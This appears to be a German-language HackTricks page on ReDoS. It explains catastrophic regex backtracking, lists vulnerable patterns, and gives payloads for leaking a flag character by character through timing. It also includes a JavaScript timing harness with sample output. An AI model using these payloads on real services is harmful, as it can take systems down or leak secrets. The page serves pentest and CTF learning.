Regular Expression Denial of Service - ReDoS
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Regular Expression Denial of Service (ReDoS)
Ein Regular Expression Denial of Service (ReDoS) tritt auf, wenn jemand Schwächen in der Funktionsweise von regulären Ausdrücken (eine Methode zum Suchen und Abgleichen von Mustern in Text) ausnutzt. Manchmal, wenn reguläre Ausdrücke verwendet werden, können sie sehr langsam werden, insbesondere wenn das Stück Text, mit dem sie arbeiten, größer wird. Diese Langsamkeit kann so schlimm werden, dass sie mit selbst kleinen Erhöhungen der Textgröße sehr schnell zunimmt. Angreifer können dieses Problem nutzen, um ein Programm, das reguläre Ausdrücke verwendet, für lange Zeit daran zu hindern, richtig zu funktionieren.
Der problematische Regex naive Algorithmus
Überprüfen Sie die Details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
Böse Regexes
Ein böses reguläres Ausdrucksmuster ist eines, das bei manipulierten Eingaben stecken bleibt und einen DoS verursacht. Böse Regex-Muster enthalten typischerweise Gruppierungen mit Wiederholungen und Wiederholungen oder Alternationen mit Überlappungen innerhalb der wiederholten Gruppe. Einige Beispiele für böse Muster sind:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} für x > 10
Alle diese sind anfällig für die Eingabe aaaaaaaaaaaaaaaaaaaaaaaa!
.
ReDoS Payloads
String Exfiltration via ReDoS
In einem CTF (oder Bug-Bounty) könnten Sie den Regex kontrollieren, mit dem eine sensible Information (das Flag) abgeglichen wird. Dann könnte es nützlich sein, die Seite einfrieren zu lassen (Timeout oder längere Verarbeitungszeit), wenn der Regex übereinstimmte und nicht, wenn er es nicht tat. Auf diese Weise können Sie die Zeichenkette Zeichen für Zeichen exfiltrieren:
- In diesem Beitrag finden Sie diese ReDoS-Regel:
^(?=<flag>)((.*)*)*salt$
- Beispiel:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- In diesem Writeup finden Sie dieses:
<flag>(((((((.*)*)*)*)*)*)*)!
- In diesem Writeup verwendete er:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS kontrollierende Eingabe und Regex
Die folgenden sind ReDoS-Beispiele, bei denen Sie sowohl die Eingabe als auch den Regex kontrollieren:
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Tools
References
- https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.